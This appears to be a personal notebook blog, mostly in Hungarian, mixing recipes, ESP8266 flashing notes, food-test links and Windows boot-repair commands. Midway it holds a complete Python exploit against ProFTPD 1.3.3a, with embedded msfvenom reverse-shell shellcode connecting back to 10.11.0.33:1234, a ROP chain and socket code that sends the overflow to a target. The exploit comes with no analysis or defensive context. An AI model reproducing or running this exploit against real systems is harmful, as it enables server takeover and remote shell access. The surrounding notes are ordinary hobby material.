Vettem sertéshúsos gőzgombócokat (fagyasztott) a Duna Pandában. Ezeket a rizsfőzőn meggőzöltem, és csináltam hozzá szószt: egy adag 20% ecetet felhigítottam vízzel, majd egy adag sót raktam bele, egy kis sötét szójaszószt, meg cukrot. abból nagyon sokat, és még egy kis thai csiliszósz is került bele. Igazából még friss zöldhagyma apríték kellene még bele, de így is kiváló lett a gőzgombóchoz. A lényeg, hogy legyen elég édes is, meg savanyú, és sós.

Ezer recept van, fel kell írnom hogy csinátam. Vettem egy 2 kg-os káposztát és egy karfiolt, és erre akarjuk rárakni a zöld sütőtököket (bébi).

5 liter víz, 500 g. cukor, 350 g. só, 750 ml víz, 750 ml 20% ecet. Az ecet nem fért a felforralt cuccba így külön raktam bele. 3 kávéskanál borkén. 1 csomag nabenzoát (helyett 15g szalicil), torma, stb. káposzta sárgarépa és aprított zöld sütőtök.

ESP-01S esp8266 board programming from arduino

1. usb-to-serial converter – connect rx to tx; tx to rx; gnd to gnd and vpp to both cnp and vcc (or whatever. you need an y cable to do that
2. don’t trust putty. use termite, set flow control to none, speed 115200
3. connecting to power will send you “ready”;
4. AT+GMR gives

AT version:1.3.0.0(Jul 14 2016 18:54:01)
SDK version:2.0.0(5a875ba)
Farylink Technology Co., Ltd. v1.0.0.2
May 11 2017 22:23:58
OK

-If you type, you should see echo if RX and TX connected correctly (meaning you see what you type) but if CN+p or whatever enable pin is not high, you won’t get answer to other commands

-for programming GPIO0 should be grounded so make Y of the ground cable

-If grounded, you don’t see anything on termite, disconnect gpio0 gnd if you want to see something

-blinky does not work as default, the esp-01 relay v4.0 example works

arduino gui: add the json for the esps, select default esp8266, check serial port, programmer is not important option, do not touch too much

start upload. if communication fails, check comms without gpio0 shorted to ground, and SHORT IT before uploading. upload should make esp-01s make short blue flashes, and in short term some good messages. 7% appeared instantly other lines at the same time about 1 minute afterwards

A vázlat 274912 bájt (55%)-ot használ a program tárhelyből. A maximum 499696 bájt.
A globális változók 27184 bájt (33%)-ot használnak a dinamikus memóriából, 54736 bájtot hagyva a helyi változóknak. A maximum 81920 bájt.
esptool.py v2.6
2.6
esptool.py v2.6
Serial port COM5
Connecting….
Chip is ESP8266EX
Features: WiFi
MAC: ec:fa:bc:38:d4:95
Uploading stub…
Running stub…
Stub running…
Configuring flash size…
Auto-detected Flash size: 1MB
Flash params set to 0x0320
Compressed 279072 bytes to 201421…

Writing at 0x00000000… (7 %)
Writing at 0x00004000… (15 %)
Writing at 0x00008000… (23 %)
Writing at 0x0000c000… (30 %)
Writing at 0x00010000… (38 %)
Writing at 0x00014000… (46 %)
Writing at 0x00018000… (53 %)
Writing at 0x0001c000… (61 %)
Writing at 0x00020000… (69 %)
Writing at 0x00024000… (76 %)
Writing at 0x00028000… (84 %)
Writing at 0x0002c000… (92 %)
Writing at 0x00030000… (100 %)
Wrote 279072 bytes (201421 compressed) at 0x00000000 in 22.8 seconds (effective 98.0 kbit/s)…
Hash of data verified.

Leaving…
Hard resetting via RTS pin…

now disconnect gnd to gpio0

reset the board by disconnecting power and reconnecting

Connecting to
……
WiFi connected
Server started
Use this URL to connect: http://10./

all in just 5-10 seconds. now you can work on more advanced projects.

https://maradokapenzemnel.blog.hu/2019/06/27/nagy_grillsajt_teszt Hajdú natúr, Tesco, Lidl-Bluedino.

https://maradokapenzemnel.blog.hu/2019/07/19/nagy_fustolt_grillsajt_teszt Karaván füstölt grill sajt

https://divany.hu/lajfhekk/2019/06/11/grillsajtok-tesztje/ Tihany válogatás grill camambert, Karaván grillkoron paradicsomos, Karaván grillkorong natúr,

https://divany.hu/lajfhekk/2019/06/24/csokolades-jegkremek-tesztje/ Spár prémium, Vienetta, Magnum poharas

https://divany.hu/lajfhekk/2019/05/13/kola-teszt/ penny drinky cola

https://divany.hu/lajfhekk/2019/05/06/csemegeuborka-teszt/ uborka- Eko, spar, penny

https://divany.hu/lajfhekk/2019/04/29/csilis-bab-teszt/ bonduelle bon chilis bab, heinz csípős sült bab, el sabor, auchan tuti tipp

https://divany.hu/lajfhekk/2019/03/19/almale-teszt/ Penny apfel 100, spar 100%, Lidl solevita

https://maradokapenzemnel.blog.hu/2019/06/13/sajtos_grillkolbasz_teszt Zimbo sajtos, ALDI BBQ sajtos, SPAR BBQ kasekrainer (aldi olcsó)

https://maradokapenzemnel.blog.hu/2019/07/10/nagy_irsai_oliver_borteszt FONT, Bognár, Ostorosbor

https://maradokapenzemnel.blog.hu/2019/06/11/nagy_kave_teszt Auchan Arabica, Omnia Barista, Penny Casa Blanka, LIDL Bellarom Columbian Supremo

https://maradokapenzemnel.blog.hu/2019/04/17/nagy_husveti_tormateszt Auchan tájaink ízei- kun, Koch’s asztali erős, ALDI le gusto, Koch’s másik, Lidl Kania

import sys, socket

# Use in the form “python .py “

host = sys.argv[1] # Recieve IP from user
port = int(sys.argv[2]) # Recieve Port from user

# Target: ProFTPD 1.3.3a Server (Debian) – Squeeze Beta1

#payload disablenop + badchars \x09\x0a\x0b\x0c\x0d\x20\xff
# msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.11.0.33 LPORT=1234 CMD=/bin/sh -b ‘\x09\x0a\x0b\x0c\x0d\x20\xff’ -f python

import random
import string

buf = “”
buf += “\xba\x7f\xd0\x96\x36\xda\xd1\xd9\x74\x24\xf4\x5e\x29”
buf += “\xc9\xb1\x12\x31\x56\x12\x83\xc6\x04\x03\x29\xde\x74”
buf += “\xc3\xe4\x05\x8f\xcf\x55\xf9\x23\x7a\x5b\x74\x22\xca”
buf += “\x3d\x4b\x25\xb8\x98\xe3\x19\x72\x9a\x4d\x1f\x75\xf2”
buf += “\x47\xd4\x85\x23\x30\xe8\x85\x27\x12\x65\x64\x97\xf4”
buf += “\x26\x36\x84\x4b\xc5\x31\xcb\x61\x4a\x13\x63\x14\x64”
buf += “\xe7\x1b\x80\x55\x28\xb9\x39\x23\xd5\x6f\xe9\xba\xfb”
buf += “\x3f\x06\x70\x7b”

payload = buf

IACCount = 4096+16
Offset = 0x00001028 # 0x102c-4
Ret = “\x47\xa5\x05\x08” #’0x805a547′
Writable = “\xa0\x81\x0e\x08” # “‘0x80e81a0’ #data
RopStack = ‘\xcc\xcc\xcc\xcc’ + ‘\x44\xa5\x05\x08’ + ‘\xcc\xcc\xcc\xcc’ *3 + ‘\x86\x88\x06\x08’ *4
RopStack += “\x8e\xbd\x05\x08” * 16 + “\x6c\xc2\x05\x08”
# Writable is here
# { 0xcccccccc, # unused
# 0x805a544, # mov eax,esi / pop ebx / pop esi / pop ebp / ret
# 0xcccccccc, # becomes ebx
# 0xcccccccc, # becomes esi
## 0xcccccccc, # becomes ebp
# # quadruple deref the res pointer 🙂
# 0x8068886, # mov eax,[eax] / ret
# 0x8068886, # mov eax,[eax] / ret
# 0x8068886, # mov eax,[eax] / ret
# 0x8068886, # mov eax,[eax] / ret
# # skip the pool chunk header
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
#
# # execute the data 🙂
# 0x0805c26c, # jmp eax
# }

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.settimeout(5)
client.connect((host,port))
banner= client.recv(1024)
print banner
#client.sendto(exploit, (host, port)) # Send the exploit over UDP to the nominated addresses

buf = ‘SITE ‘
#no cookieoffset buf += “\x8d\xa0\xfc\xdf\xff\xff”
buf += payload
if (len(buf) %2 ==0):
buf += ‘A’
buf += “\xff” *(IACCount – len(payload))
rndb = (Offset – len(buf))
buf += “\x41” * rndb
addrs = Ret + Writable + RopStack

buf += addrs + “\r\n”

client.send(buf);

gparteddel átraktam minden partíciót ssd.re, de nem működött. Particiós kódokat variáltam, a fő part ef00 volt 0700 lett, nem segített. bootrec /rebuildbcd nem segített, mindig hibát dobott. egy idő után a pen drive se bootolt be, 98-as hibát adott. efi windows telepítő pen drive legalább betöltött. diskpart -ban minden vol-nak lett drive neve, az efi lett a c, a windows a d. ez itt még nem volt gond.

volt ilyen: de szerintem nem fontos

bootrec /fixboot

igen, az efi drive microsoft boot-ban a bcd-t átneveztem

Step 7. Input ren BCD BCD.bak and press Enter to change the name of BDC file from BCD to BCD.bak file.

Step 8. Input bcdboot c:\Windows /l en-us /s m: /f ALL

a nyelven és az s drive néven változtatva benyomtam, ezután végre bootolt, bár nem tökéletesen, a drive nevet még rendbe kell raknom.

diskpart

list vol

select vol 0

remove

assign letter w

select disk 1

remove

assign letter c

exit

w:

cd efi

cd microsoft

cd boot

dir bcd

aha itt vagy

na akkor bcdboot c:\windows /s c: /f all

dir bcd

létrehozta, jó.

Működik? nem.

ha nem megy mindenkepp csinalj egy fat32 particiot is ha nincs,akkor is ha elotte ment anelkul is

Krumplipürét főztem. Szűzpecsenyét kisebb érmékre vágtam, sóztam borsoztam, sütőben megsütöttem, előtte raktam rá pár szelet bacont. A gombához aránylag sok hagymát aprítottam, majd pirítottam kevés olajon és sok vajon. A gombát feleztem majd szeleteltem vékonyra. kb. 40 deka gomba, 90 deka hús és fél kiló vagy több körüli krumpli lehetett. Végül ráraktam a gombát, sót és borsot, pici fehérbort, majd addig pirítottam, hogy nagyjából elforralja a levét. Nagyon jó lett, főleg a gomba-krumpli kombó íze lett érdekes, a hús meg omlós és finom.

https://tasty.co/recipe/original-orange-chicken-by-panda-express – ezt a receptet használtam

egy evőkanál só

kávéskanál fehérbors

80 g keményítő

240g liszt

1 tojás

2 evőkanál olaj

360 ml víz

szósz:

1 tablespoon oil
¼ teaspoon chili flake
1 tablespoon garlic, minced
½ teaspoon ginger, minced
¼ cup sugar (50 g)
¼ cup brown sugar (55 g)
¼ cup orange juice (60 mL)
¼ cup white distilled vinegar (60 mL)
2 tablespoons soy sauce
2 tablespoons water
2 tablespoons cornstarch
1 teaspoon sesame oil

Set a heavy bottomed pot over medium- high heat and add the oil.
Once the oil begins to shimmer, add the red pepper flakes, ginger, and garlic, and cook for 30 seconds, stirring constantly.
Add the sugar and brown sugar, and stir to combine.
Add in the orange juice and allow the sugars to begin to dissolve in the liquid, stirring occasionally.
Add in the vinegar and soy sauce, and stir to combine.
Add the cornstarch and water together and whisk to combine. Add to the pan and stir.
Continue to cook the sauce until maple syrup consistency is achieved.
Add in the fried chicken and stir until completely coated in the sauce.
Top with sesame oil.

1 fej hagymát felvágok, kicsi szalonnát megpirítok, olajjal rá a hagyma. 1 kg marhát feldarabolok kicsire, rárakom, sózom, borsozom, fokhagyma. Kicsit fő és levet ereszt, mehet rá fehérbor, sűrített paradicsom, bors, 1 babérlevél, mustár, citrom leve, kicsi pirospaprika. Vízzel beállítani a dolgokat. Főzés végén tejföl.

Nem szereztjük a túl savanyút így a káposztalevelek és a káposzta is kiáztatásra kerül. Felrakok úgy 20 dkg rizst félig meddig megfőzöm sóval és lehűtöm. 40 deka sertéshússal összekeverem, amibe rakok piros paprikát, sót, borsot, csombort, némi fokhagymás szójaszószt, worchestershire szózst, csombort. Felrakok vizet alján káposzta, arra a betöltöttek, sózom, tetejérem sav. káposzta, majd 1-1,5 órát forralom alacsony lángon. Valamit lehet, hogy kihagytam de kb. ez szokott lenni.